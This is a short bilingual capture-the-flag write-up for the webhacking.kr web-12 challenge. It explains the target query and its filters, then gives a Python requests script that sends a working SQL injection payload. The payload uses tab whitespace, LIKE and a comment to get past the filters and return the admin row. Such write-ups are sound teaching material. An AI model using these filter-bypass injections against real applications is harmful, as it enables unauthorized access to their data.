Challenge
Return the admin row while bypassing the SQL filters.
绕过 SQL 过滤器并返回 admin 记录。
https://webhacking.kr/challenge/web-12/Analysis
题目的查询形态为:
SELECT id FROM chall27 WHERE id='guest' AND no=(INPUT)过滤器拒绝 #、空格、=、select、limit、0x 和括号中的部分形式。payload 先用 0) 闭合 no=(INPUT),再用 URL 编码的 Tab 作为 SQL 空白,用 LIKE 替代 =,最后用 -- 注释掉服务端拼接的右括号。2 是 admin 行对应的 no 值,因此条件会返回目标记录。
Solution
完整请求脚本如下:
#!/usr/bin/env python3import requests
BASE_URL = "https://webhacking.kr/challenge/web-12/"PAYLOAD = "0)%09or%09no%09like%092%09--%09"
def main() -> None: # 保留 %09;直接拼接可避免 requests 将其变成字面量 %2509。 response = requests.get( BASE_URL + "?no=" + PAYLOAD, timeout=20, ) response.raise_for_status() print(response.text)
if __name__ == "__main__": main()服务端收到并解码 Tab 后,拼接结果等价于:
SELECT id FROM chall27 WHERE id='guest' AND no=(0) OR no LIKE 2 -- )该 payload 让查询结果命中 no=2 的 admin 记录。